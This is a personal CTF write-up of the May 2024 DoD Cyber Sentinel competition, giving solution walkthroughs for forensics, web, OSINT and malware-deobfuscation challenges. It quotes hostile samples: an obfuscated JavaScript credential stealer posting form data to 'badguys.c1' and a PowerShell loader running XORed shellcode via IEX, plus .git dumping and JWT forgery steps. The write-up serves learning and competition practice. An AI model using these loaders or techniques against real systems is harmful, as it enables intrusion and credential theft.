Hello all! I placed #16 at the DoD Cyber Sentinel competition. While I may not have qualified for a prize, I'm so glad to have had the opportunity to participate in this competition against some very brilliant minds!

The Experience

As mentioned earlier, I placed 16th out of over 1,000 competitors. I solved 13 out of 22 challenges, including all 6 easy challenges, 6 out of 10 medium challenges, and 1 of 6 hard challenges.

Overall, the challenges were very engaging. There were some that, after seeing the solutions, I wonder how I didn't get - but hey, I learned lessons for next time!

The community was amazing, and I am glad to have been able to participate in this competition.

Solutions

I'll go into detail on some of the solutions to the 13 challenges I solved.

Rick's Retro Reboot Riddle - Hard (350p)

This was a very interesting Forensics challenge. The first thing I did was open the audio file in Sonic Visualiser, which showed some interesting spikes:

Sonic VIsualiser output

I played the audio starting from those weird spikes and heard dialing sounds. I believed that these DTMF tones were used to encode something. So, I found a decoder and tried it, and it outputted a long string of numbers which I believed were likely ASCII decimal characters.

Upon decoding, I got this output (not exact, but this was the tweaked output that I used to get the final output):

ENVIRONMENT DIVISION.

DATA DIVISION.
WORKING-STORAGE SECTION.
01 C PIC X(72)
   VALUE "A1B2C3D4E5F6G7H8I9J0KLMNOPQRSTUVC1XYZ{a}bc_d0efg1hi_jklmn2opqrs3tuvwx4yz".
01 F PIC X(21) VALUE SPACES.

PROCEDURE DIVISION.
   MOVE C(33:1) TO F(1:1)
   MOVE C(34:1) TO F(2:1)
   MOVE C(38:1) TO F(3:1)
   MOVE C(42:1) TO F(4:1)
   MOVE C(20:1) TO F(5:1)
   MOVE C(41:1) TO F(6:1)
   MOVE C(45:1) TO F(7:1)
   MOVE C(55:1) TO F(8:1)
   MOVE C(43:1) TO F(9:1)
   MOVE C(2:1) TO F(10:1)
   MOVE C(63:1) TO F(11:1)
   MOVE C(43:1) TO F(12:1)
   MOVE C(63:1) TO F(13:1)
   MOVE C(20:1) TO F(14:1)
   MOVE C(43:1) TO F(15:1)
   MOVE C(62:1) TO F(16:1)
   MOVE C(6:1) TO F(17:1)
   MOVE C(65:1) TO F(18:1)
   MOVE C(62:1) TO F(19:1)
   MOVE C(20:1) TO F(20:1)
   MOVE C(40:1) TO F(21:1)
   DISPLAY F.
   STOP RUN.

I didn't recognize the language immediately, but upon performing a Google search for the terms "PROCEDURE DIVISION" I quickly figured out this was the COBOL programming language. Wow, talk about retro!

I added these lines at the start of the program to make it work with an online COBOL interpreter:

IDENTIFICATION DIVISION.
PROGRAM-ID. HELLO.

And bingo, we got the flag!

Flag: C1{c0b0l_1s_s0_r3tr0}

Environment Secret Club - Medium (200p)

I noticed that the passage at the start had "get" spelled as "git". The "environmental" part also made me think of environment variables.

This made me think to try enumerating the .git folder. Amazingly, it worked.

I used the git-dumper tool to get a local copy of the repository, in which I immediately found a .env file with the JWT secret key.

C:\CTF\cybersentinel\secretclub>type .env
JWT_SECRET_KEY=thisISmySECRETkeyTHATnobodySTEALS
[...]

From there, it was just a matter of taking the secret key, plugging it into the jwt.io debugger and modifying the JWT payload:

And with that, you get the flag!

Flag: C1{oops_I_l34k3d_my_k3ys!}

LinkU - Medium (200p)

This one was a deserialization vulnerability The basic premise of the vulnerability was:

First, you would create an account. Then, you would send a POST request to /api/preferences with user_level set to admin.

Then, log out and back in, and you would have access to the admin area!

Flag: C1{d3s3r1al1zed_4dm1n_4cc3ss}

Have you bean here before? - Easy (150p)

This OSINT challenge was super interesting, but I didn't really solve it the right way. This was the given photo:

OSINT challenge photo

You could see on the cup in the photo the word "Paul", which is a French bakery with only 3 locations in the US.

Paul bakery locations in US

I ended up just trying one of the locations in Washington, DC and it worked. The address of the correct location was 1275 K St NW, Washington, DC 20005. The challenge changed from finding the MAC address of the WiFi to either MAC or street number, which is when I solved it. If I wanted to, I could've found the MAC address through WiGLE, but since the challenge had changed at that point I didn't bother. According to the challenge creators, WiGLE was beginning to get ratelimited, so they changed the challenge for that reason.

Flag: C1{1275}

Layers Of Information - Medium (200p)

This challenge was quite the interesting one.

The objective was to use Volatility to dump both a KeePass database and a text file containing the master password.

First, you would scan for files in memory to find the KeePass database and text file:

> py \Tools\volatility3\vol.py -f MEMORY.DMP windows.filescan.FileScan
...
0xe0019fea2f20  \Users\Administrator\Desktop\Database.kdbx      216
...
0xe001a07c7090  \Users\Administrator\Desktop\Master Pass.txt    216

In Master Pass.txt was this base64 encoded string:

Keypass DB Master Password: QWNoaW5lc3MzLlJlc2VhcmNoLkRpcmVjdGVk==

This decoded to the master password of Achiness3.Research.Directed.

After dumping both of these files, you would unlock the Database.kdbx, which sent you to a .onion (Tor) page at conectfmo457kajbkn5wu6vrwcnjzmooycbwxhjdoozzs5ofl6mqhoid.onion with the flag.

Flag: C1{m3m0ry_1s_v0latile}

Exfil - Medium (200p)

This challenge was another interesting one based on DNS exfiltration. It was a PCAP with DNS requests.

Wireshark output

When taking the subdomains of all data.exfiltrated.com query requests and concatenating them, you got a photo with the flag.

Flag: C1{dns_3xfil7r4t3d!}

Ephemeral - Easy (150p)

I don't remember much about this challenge, nor did I get any pictures, and I can't connect back in now. But I do remember that you had to SSH into the machine, run a command like nmap -p- 127.0.0.1, and make a request to that port to get the flag.

Important Document - Medium (200p)

This was an interesting JavaScript deobfuscation challenge. First, you can see a variable with a binary string named lol:

  const lol = `01100110 01110101 01101110 01100011 01110100 01101001 01101111 01101110 00100000 01011111 00110000 01111000 01100101...`
  
document.addEventListener('DOMContentLoaded', function() {

var output = lol.split(' ').map(bin => String.fromCharCode(parseInt(bin, 2))).join('');
var lol2 = document.createElement("script");
lol2.innerHTML = output;
document.head.appendChild(lol2);

}, false);

Upon decoding, you get code that starts like this:

function _0xe982(){var _0x7bac36=['3527610SzQOMX','toHex','stringify','util','email','544074zLCSBz','random','hexToBytes','7myETlh','getElementById','25094PwHGWK','3jpVWZs','output','update','11JIHxrF','getBytesSync','38aVhRWV','6175570NyIldj','AES-CBC','3905613juwaIs','credForm','submit','4223376oAVYBO','https://badguys.c1/lol','691928cADIbE','POST','preventDefault','NDMzMTdiNjgzMDcwMzM1Zjc5MzA3NTVmNjQzMTY0NmU3NDVmNzU3MzMzNWYzNDVmNzIzNDMzMzE1ZjcwMzQ3MzczNzczMDcyNjQ3ZA=='];

Upon decoding the Base64 at the end, you get an output of 43317b683070335f7930755f6431646e745f7573335f345f723433315f70347373773072647d. I saw the 4331 at the start (the string C1 in hex) and knew I was on the right track, so I decoded it and got the flag!

Flag: C1{h0p3_y0u_d1dnt_us3_4_r431_p4ssw0rd}

Ferromagnetic - Medium (200p)

This was an interesting PowerShell deobfuscation challenge. First, I saw a base64 string named DoIt that was ran as PowerShell code:

$DoIt = @'
ZnVuY3Rpb24gZnVuY19nZX....'
$aa1234 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))
If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $aa1234 | wait-job | Receive-Job
}
else {
        IEX $aa1234
}

Then, decoding that Base64, you get another Base64 string in the PowerShell code, but this time it is XORed by the value 35:

[Byte[]]$var_code = [System.Convert]::FromBase64String('WE+cb...iNyKpxO')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 35
}

Upon decoding, you get a binary blob containing the flag:

$ cat qwoiehg | base64 -d | xortool-xor -f - -h 23
....Host: C1{malware_obfuscat10n_4nd_m4n1pul4ti0n!}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)...

Flag: C1{malware_obfuscat10n_4nd_m4n1pul4ti0n!}

Header Hinterlands - Easy (150p)

To solve this challenge, you launched the Docker container and looked for the header X-Syndicate-Command:

Upon decoding the Base64, you get the flag.

Flag: C1{am@z1ng_wh@t_u_c@n_h1d3_1n_h3@d3rs}

Packer's Paradox - Easy (150p)

This was a simple packing challenge. I believe UPX was used, but I couldn't get a packer detector running quickly, so I just opened the program in x32dbg, dumped the memory and found the flag in there.

Flag: C1{N0t_$uch_a_Parad0x_Aft3rall}

Filing Problem - Easy (150p)

This was a PDF challenge that was fairly simple. I was able to open the PDF in Firefox, select all, and copy, and that gave me the flag.

Flag: C1{c0rrup7ion_4nd_r3dac7tion}

Printer - Easy (150p)

I solved this challenge in the first three minutes of the competition. Basically, the premise was going to /robots.txt to find a file named /notes.txt exists on the server. That contains the admin password, which you can use to log in and get the flag.

Flag: C1{pr1nt1ng_fl4g5}

Conclusion

This was a very fun competition, and I think I did very well for my first CTF. There was a great balance between difficulty for most of the challenges.

If you'd like to connect, I am available on LinkedIn.

DoD Cyber Sentinel May 2024 - My Experience + Solutions